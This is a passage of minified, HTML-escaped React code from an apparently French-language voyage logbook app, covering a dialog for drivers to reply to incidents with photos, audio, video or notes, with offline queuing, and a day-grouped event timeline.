ligne)&quot;]})]})]})]})})}const O7=[{value:&quot;audio&quot;,label:&quot;Audio&quot;,icon:F0,color:&quot;bg-blue-500/10 border-blue-500/20 hover:bg-blue-500/20 text-blue-600&quot;},{value:&quot;photo&quot;,label:&quot;Photo&quot;,icon:Nm,color:&quot;bg-green-500/10 border-green-500/20 hover:bg-green-500/20 text-green-600&quot;},{value:&quot;video&quot;,label:&quot;Vidéo&quot;,icon:Xu,color:&quot;bg-purple-500/10 border-purple-500/20 hover:bg-purple-500/20 text-purple-600&quot;},{value:&quot;note&quot;,label:&quot;Note&quot;,icon:po,color:&quot;bg-gray-500/10 border-gray-500/20 hover:bg-gray-500/20 text-gray-600&quot;}];function vpe({open:e,onOpenChange:t,incidentId:r,etapeId:n}){const{data:i}=hy(),o=i?.voyage?.id,[l,c]=I.useState(null),[d,u]=I.useState(&quot;&quot;),[h,p]=I.useState(null),[A,y]=I.useState(null),[v,w]=I.useState(!1),[j,E]=I.useState(0),[S,_]=I.useState(null),[C,Q]=I.useState(null),[R,T]=I.useState(navigator.onLine),[M,O]=I.useState(!1),[$,P]=I.useState(!1),[L,X]=I.useState(null),{toast:W}=Er(),G=eo(),J=I.useRef(null),q=I.useRef(null),ee=I.useRef(null),ne=I.useRef(null),V=I.useRef(null),ue=I.useRef(null),de=I.useRef(null);I.useEffect(()=&gt;{const be=()=&gt;T(!0),Re=()=&gt;T(!1);return window.addEventListener(&quot;online&quot;,be),window.addEventListener(&quot;offline&quot;,Re),()=&gt;{window.removeEventListener(&quot;online&quot;,be),window.removeEventListener(&quot;offline&quot;,Re)}},[]),I.useEffect(()=&gt;{l===&quot;video&quot;&amp;&amp;ag().then(X).catch(console.error)},[l]),I.useEffect(()=&gt;(v&amp;&amp;de.current&amp;&amp;ee.current&amp;&amp;l===&quot;video&quot;&amp;&amp;(ee.current.srcObject=de.current,ee.current.play().catch(be=&gt;{console.error(&quot;Erreur lors de la lecture vidéo:&quot;,be)})),()=&gt;{!v&amp;&amp;ee.current&amp;&amp;(ee.current.srcObject=null)}),[v,l]),I.useEffect(()=&gt;{e||(c(null),u(&quot;&quot;),p(null),y(null),w(!1),E(0),Q(null),S&amp;&amp;S.state!==&quot;inactive&quot;&amp;&amp;S.stop(),ne.current&amp;&amp;(ne.current.getTracks().forEach(be=&gt;be.stop()),ne.current=null),V.current&amp;&amp;clearInterval(V.current))},[e,S]);const xe=async be=&gt;{const Re=be.target.files?.[0];if(Re){if(l===&quot;photo&quot;){if(!Re.type.startsWith(&quot;image/&quot;)){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner une image&quot;});return}if(Re.size&gt;10*1024*1024){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;image ne doit pas dépasser 10 MB&quot;});return}P(!0);try{const Pe=await Hm(Re,{preset:&quot;incident&quot;});p(Pe.file);const Ke=URL.createObjectURL(Pe.file);y(Ke);const tt=((1-Pe.optimizedSize/Pe.originalSize)*100).toFixed(0);Pe.originalSize&gt;Pe.optimizedSize&amp;&amp;W({title:&quot;Image optimisée&quot;,description:`${ol(Pe.originalSize)} → ${ol(Pe.optimizedSize)} (-${tt}%)`,duration:3e3})}catch(Pe){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Pe instanceof Error?Pe.message:&quot;Optimisation impossible, veuillez reprendre la photo&quot;})}finally{P(!1)}}else if(l===&quot;audio&quot;){if(![&quot;audio/mpeg&quot;,&quot;audio/mp4&quot;,&quot;audio/aac&quot;,&quot;audio/ogg&quot;,&quot;audio/wav&quot;,&quot;audio/webm&quot;].includes(Re.type)){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Format audio non supporté&quot;});return}if(Re.size&gt;15*1024*1024){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;audio ne doit pas dépasser 15 MB&quot;});return}p(Re)}else if(l===&quot;video&quot;){P(!0);try{const Pe=await ag();if(!Pe.enabled){W({variant:&quot;destructive&quot;,title:&quot;Vidéo désactivée&quot;,description:&quot;L&#039;optimisation vidéo est désactivée dans les paramètres.&quot;}),P(!1);return}const Ke=await L$(Re,Pe);if(!Ke.valid){W({variant:&quot;destructive&quot;,title:&quot;Vidéo non conforme&quot;,description:Ke.message||&quot;La vidéo ne respecte pas les paramètres configurés.&quot;}),P(!1);return}p(Re);const tt=URL.createObjectURL(Re);y(tt),W({title:&quot;Vidéo acceptée&quot;,description:`Qualité ${Pe.resolutionPreset}, max ${Pe.maxDurationSec}s`,duration:3e3})}catch(Pe){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Pe instanceof Error?Pe.message:&quot;Impossible de valider la vidéo&quot;})}finally{P(!1)}}}},_e=async()=&gt;{if(!(window.location.protocol===&quot;https:&quot;||window.location.hostname===&quot;localhost&quot;||window.location.hostname===&quot;127.0.0.1&quot;)){W({variant:&quot;destructive&quot;,title:&quot;HTTPS requis&quot;,description:&quot;L&#039;enregistrement audio/vidéo nécessite une connexion HTTPS. Veuillez utiliser l&#039;application via HTTPS (https://...) ou localhost. Note: L&#039;upload de photos fonctionne sans HTTPS.&quot;,duration:1e4});return}if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){W({variant:&quot;destructive&quot;,title:&quot;API non disponible&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio/vidéo.&quot;,duration:5e3});return}try{if(l===&quot;video&quot;){P(!0);const Re=await ag();if(!Re.enabled){W({variant:&quot;destructive&quot;,title:&quot;Vidéo désactivée&quot;,description:&quot;L&#039;optimisation vidéo est désactivée dans les paramètres.&quot;}),P(!1);return}if(!(Re.preferredCaptureMode===&quot;auto&quot;||Re.preferredCaptureMode===&quot;mediaRecorder&quot;)&amp;&amp;Re.preferredCaptureMode===&quot;fileInput&quot;){W({variant:&quot;destructive&quot;,title:&quot;Mode fichier requis&quot;,description:&quot;Veuillez utiliser le sélecteur de fichier pour capturer la vidéo.&quot;}),P(!1);return}X(Re),P(!1),w(!0),E(0),await new Promise(tt=&gt;setTimeout(tt,50));const Ke=await US(Re,tt=&gt;{E(Math.floor(tt))});ue.current=Ke,de.current=Ke.stream,ee.current&amp;&amp;Ke.stream&amp;&amp;(ee.current.srcObject=Ke.stream,ee.current.play().catch(tt=&gt;{console.error(&quot;Erreur lors de la lecture vidéo:&quot;,tt)})),Ke.promise.then(tt=&gt;{if(w(!1),Ke.stream.getTracks().forEach(pt=&gt;pt.stop()),de.current=null,ee.current&amp;&amp;(ee.current.srcObject=null),ue.current=null,Q(tt.blob),p(tt.file),ee.current){const pt=URL.createObjectURL(tt.blob);y(pt),ee.current.src=pt}W({title:&quot;Vidéo capturée&quot;,description:`Qualité ${tt.metadata.preset}, ${tt.metadata.duration.toFixed(1)}s, ${ol(tt.metadata.size)}`,duration:3e3})}).catch(tt=&gt;{w(!1),P(!1),X(null),ue.current=null,de.current=null,ee.current&amp;&amp;(ee.current.srcObject=null),console.error(&quot;Erreur lors de l&#039;enregistrement vidéo:&quot;,tt),W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:tt instanceof Error?tt.message:&quot;Erreur lors de l&#039;enregistrement vidéo&quot;})})}else{const Re=await navigator.mediaDevices.getUserMedia({audio:!0});ne.current=Re;const Pe=new MediaRecorder(Re,{mimeType:&quot;audio/webm&quot;});_(Pe);const Ke=[];Pe.ondataavailable=pt=&gt;{pt.data.size&gt;0&amp;&amp;Ke.push(pt.data)},Pe.onstop=()=&gt;{const pt=new Blob(Ke,{type:&quot;audio/webm&quot;});Q(pt);const dt=new File([pt],&quot;recording.webm&quot;,{type:pt.type});p(dt);const Oe=URL.createObjectURL(pt);y(Oe),Re.getTracks().forEach(Pt=&gt;Pt.stop()),ne.current=null,w(!1),V.current&amp;&amp;(clearInterval(V.current),V.current=null)},Pe.start(),w(!0),E(0);const tt=Date.now();V.current=window.setInterval(()=&gt;{const pt=Math.floor((Date.now()-tt)/1e3);E(dt=&gt;{const Oe=pt;return Oe!==dt?Oe:dt})},100)}}catch(Re){P(!1),console.error(&quot;Erreur lors de l&#039;enregistrement:&quot;,Re);const Pe=window.location.protocol!==&quot;https:&quot;&amp;&amp;window.location.hostname!==&quot;localhost&quot;&amp;&amp;window.location.hostname!==&quot;127.0.0.1&quot;,Ke=Re.name===&quot;NotAllowedError&quot;||Re.name===&quot;PermissionDeniedError&quot;,tt=Re.name===&quot;NotFoundError&quot;||Re.name===&quot;DevicesNotFoundError&quot;;let pt=&quot;Impossible d&#039;accéder à la caméra/microphone.&quot;,dt=&quot;Erreur d&#039;accès&quot;;Pe?(dt=&quot;HTTPS requis&quot;,pt=&quot;L&#039;accès au microphone nécessite une connexion HTTPS. Veuillez utiliser l&#039;application via HTTPS (https://...) ou localhost.&quot;):Ke?(dt=&quot;Permission refusée&quot;,pt=&quot;L&#039;accès au microphone a été refusé. Veuillez autoriser l&#039;accès au microphone dans les paramètres de votre navigateur.&quot;):tt?(dt=&quot;Microphone introuvable&quot;,pt=&quot;Aucun microphone n&#039;a été détecté. Veuillez connecter un microphone et réessayer.&quot;):pt=Re.message||&quot;Impossible d&#039;accéder à la caméra/microphone. Vérifiez les permissions.&quot;,W({variant:&quot;destructive&quot;,title:dt,description:pt,duration:Pe?1e4:5e3})}},Ce=()=&gt;{if(l===&quot;video&quot;&amp;&amp;ue.current&amp;&amp;v){ue.current.stop();return}S&amp;&amp;S.state!==&quot;inactive&quot;&amp;&amp;S.stop(),V.current&amp;&amp;(clearInterval(V.current),V.current=null)},we=async()=&gt;{if(!o){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Aucun voyage actif&quot;});return}if(!l){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un type de message&quot;});return}if(l===&quot;note&quot;&amp;&amp;!d.trim()){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez saisir une description&quot;});return}if(l!==&quot;note&quot;&amp;&amp;!h&amp;&amp;!C){W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner ou enregistrer un fichier&quot;});return}O(!0);try{if(R){const be=h||(C?new File([C],&quot;recording.webm&quot;,{type:C.type}):null);l===&quot;note&quot;?await xg(o,r,{type:&quot;message&quot;,description:d.trim(),senderRole:&quot;chauffeur&quot;}):be&amp;&amp;await xg(o,r,{type:&quot;media&quot;,mediaKind:l,description:d.trim()||null,file:be,senderRole:&quot;chauffeur&quot;}),W({title:&quot;Succès&quot;,description:&quot;Votre réponse a été envoyée&quot;})}else{const be=h||(C?new File([C],&quot;recording.webm&quot;,{type:C.type}):null);await mv({voyageId:o,type:&quot;incident&quot;,incidentId:r,messageType:l,etapeId:n??null,description:l===&quot;note&quot;?d.trim():d.trim()||null,file:l!==&quot;note&quot;?be:null}),W({title:&quot;Réponse enregistrée&quot;,description:&quot;Votre réponse sera synchronisée à la reconnexion&quot;})}o&amp;&amp;(G.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,o,&quot;incidents&quot;]}),G.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,o,&quot;incidents&quot;,r]}),G.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,o,&quot;events&quot;]})),t(!1)}catch(be){console.error(&quot;Erreur lors de l&#039;envoi:&quot;,be),W({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:be instanceof Error?be.message:&quot;Impossible d&#039;envoyer la réponse&quot;})}finally{O(!1)}},ve=M;if(!l)return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(In,{children:[&quot;Répondre au problème #&quot;,r]}),a.jsx(Mn,{children:&quot;Choisissez le type de message&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex gap-2 py-4&quot;,children:O7.map(be=&gt;{const Re=be.icon;return a.jsxs(&quot;button&quot;,{onClick:()=&gt;c(be.value),className:`flex flex-col items-center justify-center gap-2 p-4 rounded-lg border-2 active:scale-95 transition-all flex-1 ${be.color}`,children:[a.jsx(Re,{className:&quot;h-6 w-6&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:be.label})]},be.value)})})]})});const Ie=O7.find(be=&gt;be.value===l)?.icon||po;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Ie,{className:&quot;h-5 w-5&quot;}),a.jsxs(In,{children:[&quot;Répondre au problème #&quot;,r]})]}),!R&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-orange-500/10 text-orange-600 border-orange-500/20&quot;,children:[a.jsx(qd,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Hors ligne&quot;]})]}),a.jsxs(Mn,{children:[l===&quot;photo&quot;&amp;&amp;&quot;Prendre ou sélectionner une photo&quot;,l===&quot;audio&quot;&amp;&amp;&quot;Enregistrer ou uploader un audio&quot;,l===&quot;video&quot;&amp;&amp;`Enregistrer une vidéo${L?` (max ${L.maxDurationSec}s, ${L.resolutionPreset})`:&quot;&quot;}`,l===&quot;note&quot;&amp;&amp;&quot;Ajouter une note&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mt-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;c(null),className:&quot;mb-2&quot;,children:&quot;← Retour&quot;}),l===&quot;photo&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[$&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Optimisation...&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;q.current?.click(),className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,disabled:$,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-blue-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(mo,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Prendre une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:J,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:xe,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:q,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:xe,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;J.current?.click(),className:&quot;flex-1&quot;,disabled:$,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]})]}),A&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:A,alt:&quot;Preview&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{p(null),y(null),J.current&amp;&amp;(J.current.value=&quot;&quot;),q.current&amp;&amp;(q.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),l===&quot;audio&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:v?a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:Ce,className:&quot;h-24 w-24 flex-col gap-3 text-base font-semibold&quot;,children:[a.jsx(pg,{className:&quot;h-8 w-8&quot;}),a.jsx(&quot;span&quot;,{children:&quot;STOP&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[&quot;(&quot;,j,&quot;s)&quot;]})]}):a.jsxs(a.Fragment,{children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:_e,className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-red-600 shadow-lg flex-shrink-0&quot;,style:{borderRadius:&quot;50%&quot;}}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:h||C?&quot;Enregistrer à nouveau&quot;:&quot;Enregistrer&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:J,type:&quot;file&quot;,accept:&quot;audio/*&quot;,onChange:xe,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;J.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Uploader&quot;]})]})]})}),A&amp;&amp;l===&quot;audio&quot;&amp;&amp;!v&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-4 bg-muted/50 rounded-lg&quot;,children:[a.jsx(&quot;audio&quot;,{src:A,controls:!0,className:&quot;w-full&quot;,preload:&quot;metadata&quot;,children:&quot;Votre navigateur ne supporte pas la lecture audio.&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;mt-2 w-full&quot;,onClick:()=&gt;{p(null),Q(null),y(null),A&amp;&amp;URL.revokeObjectURL(A),J.current&amp;&amp;(J.current.value=&quot;&quot;)},children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer l&#039;enregistrement&quot;]})]}),h&amp;&amp;!v&amp;&amp;!A&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center&quot;,children:a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Fichier sélectionné : &quot;,h.name]})})]}),l===&quot;video&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:v?a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:Ce,className:&quot;h-24 w-24 flex-col gap-3 text-base font-semibold&quot;,children:[a.jsx(pg,{className:&quot;h-8 w-8&quot;}),a.jsx(&quot;span&quot;,{children:&quot;STOP&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[&quot;(&quot;,j,&quot;s/&quot;,L?.maxDurationSec||10,&quot;s)&quot;]})]}):a.jsxs(a.Fragment,{children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:_e,className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-purple-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(Xu,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:h||C?&quot;Enregistrer à nouveau&quot;:&quot;Enregistrer&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:J,type:&quot;file&quot;,accept:&quot;video/*&quot;,onChange:xe,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;J.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Uploader&quot;]})]})]})}),v&amp;&amp;l===&quot;video&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full rounded-lg border bg-black overflow-hidden min-h-[200px]&quot;,children:[a.jsx(&quot;video&quot;,{ref:ee,autoPlay:!0,playsInline:!0,muted:!0,className:&quot;rounded-lg w-full max-h-64 object-cover&quot;,style:{display:de.current?&quot;block&quot;:&quot;none&quot;}}),!de.current&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center h-[200px] text-white&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-2 right-2 flex items-center gap-2 bg-red-500 text-white px-3 py-1 rounded-full&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-2 h-2 bg-white rounded-full animate-pulse&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:&quot;Enregistrement...&quot;})]})]}),A&amp;&amp;!v&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;video&quot;,{src:A,controls:!0,className:&quot;rounded-lg w-full max-h-64&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{p(null),y(null),J.current&amp;&amp;(J.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),l===&quot;note&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;note-description&quot;,children:&quot;Description&quot;}),a.jsx(K0,{id:&quot;note-description&quot;,value:d,onChange:be=&gt;u(be.target.value),placeholder:&quot;Votre réponse...&quot;,rows:5,className:&quot;mt-1&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-2 pt-4&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(!1),disabled:ve,children:&quot;Annuler&quot;}),a.jsxs(ge,{onClick:we,disabled:ve,children:[ve&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),R?&quot;Envoyer&quot;:&quot;Enregistrer (hors ligne)&quot;]})]})]})]})})}function ype(){const[e]=Gi(),t=I.useMemo(()=&gt;new URLSearchParams(window.location.search).get(&quot;readOnly&quot;)===&quot;true&quot;,[e]),{data:r,isLoading:n}=hy(),i=r?.voyage,[s,o]=I.useState(navigator.onLine),[l,c]=I.useState(!1),[d,u]=I.useState(null),[h,p]=I.useState(!1),[A,y]=I.useState(null),v=I.useRef(null),{data:w,isLoading:j,refetch:E}=LS(i?.id||null),{events:S,pendingCount:_}=ope(i?.id||null,w,j),C=I.useMemo(()=&gt;S.filter(O=&gt;{const $=O.description?.toUpperCase()||&quot;&quot;;return!($.includes(&quot;PESÉE&quot;)||$.includes(&quot;PESEE&quot;)||$.includes(&quot;CARBURANT&quot;)||$.includes(&quot;FUEL&quot;)||$.includes(&quot;FRAIS&quot;)||$.includes(&quot;EXPENSE&quot;))}),[S]),Q=I.useMemo(()=&gt;{const O={};return C.forEach(P=&gt;{const L=new Date(P.occurredAt||P.createdAt),X=Wr(L,&quot;yyyy-MM-dd&quot;);O[X]||(O[X]=[]),O[X].push(P)}),Object.keys(O).sort((P,L)=&gt;P.localeCompare(L)).map(P=&gt;{const L=O[P].sort((X,W)=&gt;{const G=new Date(X.occurredAt||X.createdAt).getTime(),J=new Date(W.occurredAt||W.createdAt).getTime();return G-J});return{day:P,date:hme(P),events:L}})},[C]);I.useEffect(()=&gt;{const O=()=&gt;o(!0),$=()=&gt;o(!1);return window.addEventListener(&quot;online&quot;,O),window.addEventListener(&quot;offline&quot;,$),()=&gt;{window.removeEventListener(&quot;online&quot;,O),window.removeEventListener(&quot;offline&quot;,$)}},[]),I.useEffect(()=&gt;{!j&amp;&amp;C.length&gt;0&amp;&amp;setTimeout(()=&gt;{v.current?v.current.scrollIntoView({behavior:&quot;smooth&quot;,block:&quot;end&quot;}):window.scrollTo({top:document.body.scrollHeight,behavior:&quot;smooth&quot;})},500)},[j,C.length]);const R=O=&gt;{u(O),c(!0)};if(n)return a.jsx(&quot;div&quot;,{className:&quot;p-4 pb-20 flex items-center justify-center min-h-[400px] bg-muted/60&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement du voyage...&quot;})]})});if(!i)return a.jsx(&quot;div&quot;,{className:&quot;p-4 pb-20 bg-muted/60&quot;,children:a.jsx(it,{children:a.jsxs(Et,{className:&quot;py-12 text-center text-muted-foreground&quot;,children:[a.jsx(Wf,{className:&quot;h-12 w-12 mx-auto mb-4 opacity-50&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Aucun voyage actif&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm&quot;,children:&quot;Aucun voyage en cours pour le moment&quot;})]})})});const T=j,M=C.length&gt;0;return a.jsxs(&quot;div&quot;,{className:&quot;pb-20 bg-muted/60 min-h-screen&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;sticky top-0 z-10 bg-muted/60 border-b p-4 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-5 w-5 text-primary&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Journal de bord&quot;}),t&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-orange-50 dark:bg-orange-950 text-orange-700 dark:text-orange-300 border-orange-200 dark:border-orange-800&quot;,children:[a.jsx(Hd,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Lecture seule&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[!s&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-orange-500/10 text-orange-600 border-orange-500/20&quot;,children:[a.jsx(qd,{className:&quot;h-3.5 w-3.5 mr-1&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:&quot;Hors ligne&quot;})]}),s&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-green-500/10 text-green-600 border-green-500/20&quot;,children:[a.jsx(Dse,{className:&quot;h-3.5 w-3.5 mr-1&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:&quot;En ligne&quot;})]}),_&gt;0&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-blue-500/10 text-blue-600 border-blue-500/20&quot;,children:[_,&quot; en attente&quot;]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;E(),disabled:T||!s,title:&quot;Actualiser&quot;,children:a.jsx(p4,{className:`h-4 w-4 ${T?&quot;animate-spin&quot;:&quot;&quot;}`})})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:i.code}),i.name&amp;&amp;a.jsxs(&quot;span&quot;,{children:[&quot; - &quot;,i.name]})]})]}),T?a.jsx(&quot;div&quot;,{className:&quot;p-4 flex items-center justify-center min-h-[400px] bg-muted/60&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement des événements...&quot;})]})}):M?a.jsxs(&quot;div&quot;,{className:&quot;p-4 space-y-4&quot;,children:[Q.map(({day:O,date:$,events:P})=&gt;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;sticky top-[73px] z-10 bg-muted/60 backdrop-blur-sm py-2 border-b -mx-4 px-4&quot;,children:a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold text-muted-foreground&quot;,children:xN($,new Date)?&quot;Aujourd&#039;hui&quot;:xN($,new Date(Date.now()-864e5))?&quot;Hier&quot;:Wr($,&quot;EEEE d MMMM yyyy&quot;,{locale:Hr})})}),P.map(L=&gt;{const X=&quot;isOffline&quot;in L&amp;&amp;L.isOffline,W=X&amp;&amp;L.status===&quot;pending&quot;;return a.jsx(upe,{event:L,isOffline:X,isPending:W,onImageClick:R,onReplyToIncident:t?void 0:G=&gt;y(G),readOnly:t},L.id)})]},O)),a.jsx(&quot;div&quot;,{ref:v})]}):a.jsx(&quot;div&quot;,{className:&quot;p-4&quot;,children:a.jsx(it,{className:&quot;bg-white&quot;,children:a.jsxs(Et,{className:&quot;py-12 text-center text-muted-foreground&quot;,children:[a.jsx(Wf,{className:&quot;h-12 w-12 mx-auto 